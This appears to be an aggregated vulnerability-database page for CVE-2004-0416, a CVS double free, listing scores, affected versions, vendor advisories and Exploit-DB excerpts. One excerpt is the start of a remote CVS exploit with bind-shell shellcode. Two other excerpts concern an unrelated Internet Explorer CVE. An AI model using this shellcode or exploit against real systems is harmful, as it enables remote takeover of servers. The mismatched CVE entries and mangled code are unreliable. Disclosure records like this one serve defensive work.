CVE-2004-0416
published 2004-08-06CVE-2004-0416: Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute…
PriorityP350critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
13.21%
95.9th percentile
Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute arbitrary code.
Affected
32 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | — | — |
| cvs | cvs | >= 0 < 1:1.12.9-1 | 1:1.12.9-1 |
| cvs | cvs | >= 0 < 1:1.12.9-1 | 1:1.12.9-1 |
| cvs | cvs | >= 0 < 1:1.12.9-1 | 1:1.12.9-1 |
| cvs | cvs | >= 0 < 1:1.12.9-1 | 1:1.12.9-1 |
| debian | cvs | < cvs 1:1.12.9-1 (bookworm) | cvs 1:1.12.9-1 (bookworm) |
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vendor_debian10.0CRITICAL
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-xrvc-m3hh-hp9h: Double free vulnerability for the error_prog_name string in CVS 1
ghsa_unreviewed·2022-05-03
CVE-2004-0416 [HIGH] CWE-119 GHSA-xrvc-m3hh-hp9h: Double free vulnerability for the error_prog_name string in CVS 1
Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute arbitrary code.
OSV
CVE-2004-0416: Double free vulnerability for the error_prog_name string in CVS 1
osv·2004-08-06·CVSS 10.0
CVE-2004-0416 [CRITICAL] CVE-2004-0416: Double free vulnerability for the error_prog_name string in CVS 1
Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute arbitrary code.
Red Hat
security flaw
vendor_redhat·2004-06-09·CVSS 10.0
CVE-2004-0416 [CRITICAL] security flaw
security flaw
Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute arbitrary code.
Debian
CVE-2004-0416: cvs - Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1...
vendor_debian·2004·CVSS 10.0
CVE-2004-0416 [CRITICAL] CVE-2004-0416: cvs - Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1...
Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute arbitrary code.
Scope: local
bookworm: resolved (fixed in 1:1.12.9-1)
bullseye: resolved (fixed in 1:1.12.9-1)
forky: resolved (fixed in 1:1.12.9-1)
sid: resolved (fixed in 1:1.12.9-1)
trixie: resolved (fixed in 1:1.12.9-1)
No detection rules found.
Exploit-DB
Microsoft Internet Explorer - '.ANI' Downloader (MS05-002)
exploitdb·2005-01-24
CVE-2005-0416 Microsoft Internet Explorer - '.ANI' Downloader (MS05-002)
Microsoft Internet Explorer - '.ANI' Downloader (MS05-002)
---
/* Modified by Vertygo aka Ivanm ([email protected]) all credits goes to
houseofdabus Berend-Jan Wever and to milw0rm*/
/* Added string.h /str0ke */
/* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit
* (CAN-2004-1049)
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* (universal -- for all affected systems)
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in the way that
* cursor, animated cursor, and icon formats are handled. An attacker
* could try to exploit the vulnerability by constructing a malicious
* cursor or icon file that could potent
Exploit-DB
Microsoft Internet Explorer - '.ANI' Universal (MS05-002)
exploitdb·2005-01-22
CVE-2005-0416 Microsoft Internet Explorer - '.ANI' Universal (MS05-002)
Microsoft Internet Explorer - '.ANI' Universal (MS05-002)
---
/* Added string.h /str0ke */
/* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit
* (CAN-2004-1049)
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* (universal -- for all affected systems)
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in the way that
* cursor, animated cursor, and icon formats are handled. An attacker
* could try to exploit the vulnerability by constructing a malicious
* cursor or icon file that could potentially allow remote code
* execution if a user visited a malicious Web site or viewed a
* malicious e-mail message. An
Exploit-DB
Remote CVS 1.11.15 - 'error_prog_name' Arbitrary Code Execution
exploitdb·2004-08-13
CVE-2004-0416 Remote CVS 1.11.15 - 'error_prog_name' Arbitrary Code Execution
Remote CVS 1.11.15 - 'error_prog_name' Arbitrary Code Execution
---
/* Remote CVS
#include
#include
#include
#include
#include
#include
char shellcode[] =
"xebx18"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"x31xc0" // xorl %eax,%eax
"x31xdb" // xorl %ebx,%ebx
"x31xc9" // xorl %ecx,%ecx
"x31xd2" // xorl %edx,%edx
"xb0x66" // movb $0x66,%al
"xb3x01" // movb $0x1,%bl
"x51" // pushl %ecx
"xb1x06" // movb $0x6,%cl
"x51" // pushl %ecx
"xb1x01" // movb $0x1,%cl
"x51" // pushl %ecx
"xb1x02" // movb $0x2,%cl
"x51" // pushl %ecx
"x8dx0cx24" // leal (%esp),%ecx
"xcdx80" // int $0x80
/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"xb3x02" // movb $0x2,%bl
"xb1x02" // movb $0x2,%cl
"x31xc9" // xorl %ecx,%ecx
"x51" // pushl %ecx
"x51" // pushl %ecx
"x51" // pushl %ecx
/* port = 0x77,
ftp://patches.sgi.com/support/free/security/advisories/20040604-01-U.ascftp://patches.sgi.com/support/free/security/advisories/20040605-01-U.aschttp://lists.grok.org.uk/pipermail/full-disclosure/2004-June/022441.htmlhttp://marc.info/?l=bugtraq&m=108716553923643&w=2http://security.e-matters.de/advisories/092004.htmlhttp://security.gentoo.org/glsa/glsa-200406-06.xmlhttp://www.debian.org/security/2004/dsa-519http://www.mandriva.com/security/advisories?name=MDKSA-2004:058http://www.redhat.com/support/errata/RHSA-2004-233.htmlhttps://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10070https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A994ftp://patches.sgi.com/support/free/security/advisories/20040604-01-U.ascftp://patches.sgi.com/support/free/security/advisories/20040605-01-U.aschttp://lists.grok.org.uk/pipermail/full-disclosure/2004-June/022441.htmlhttp://marc.info/?l=bugtraq&m=108716553923643&w=2http://security.e-matters.de/advisories/092004.htmlhttp://security.gentoo.org/glsa/glsa-200406-06.xmlhttp://www.debian.org/security/2004/dsa-519http://www.mandriva.com/security/advisories?name=MDKSA-2004:058http://www.redhat.com/support/errata/RHSA-2004-233.htmlhttps://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10070https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A994
2004-08-06
Published